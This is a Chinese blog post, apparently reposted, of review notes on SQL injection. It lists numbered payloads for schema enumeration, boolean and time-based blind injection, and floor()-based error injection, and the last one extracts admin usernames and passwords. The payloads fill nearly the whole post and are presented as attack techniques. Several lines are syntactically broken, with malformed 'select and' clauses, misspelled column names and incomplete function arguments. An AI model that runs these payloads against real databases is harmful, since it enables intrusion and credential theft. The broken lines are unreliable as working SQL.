注入复习总结

本文总结了多种SQL注入技巧,包括常规注入、盲注、延时盲注及floor报错注入等方法,并提供了具体的SQL语句实例,帮助读者理解并掌握不同场景下的SQL注入攻击手段。

注入复习笔记

 1 #常规注入:
 2 select schema_name from information_schema.schemata;
 3 select group_concat(table_name) from information_schema.tables where table_schema=0x73716C696E6A656374;
 4 select group_concat(column_name) from information_schema.columns where table_schema=0x73716C696E6A656374;
 5 #盲注:
 6 select and ascii(mid(databases(),1,1))=115;
 7 select and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1));
 8 select and ascii(substring((select columns_name from information_schema.columns where column_schena=database() limit 1,1),1,1));
 9 #延时盲注:
10 select and if(ascii(substring(database(),1,)),sleep(10),1);
11 select and if(ascii(substring((select table_name from information_schema.tables where table_schema=0x73716C696E6A656374),sleep(10),1));
12 select and if(ascii(substring((select columns_name from information_schema.columns where column_schema=0x73716C696E6A656374)),1,1),sleep(10),1);
13 #floor报错注入
14 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
15 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
16 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
17 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

注入复习总结

转载于:https://www.cnblogs.com/nul1/p/8743319.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值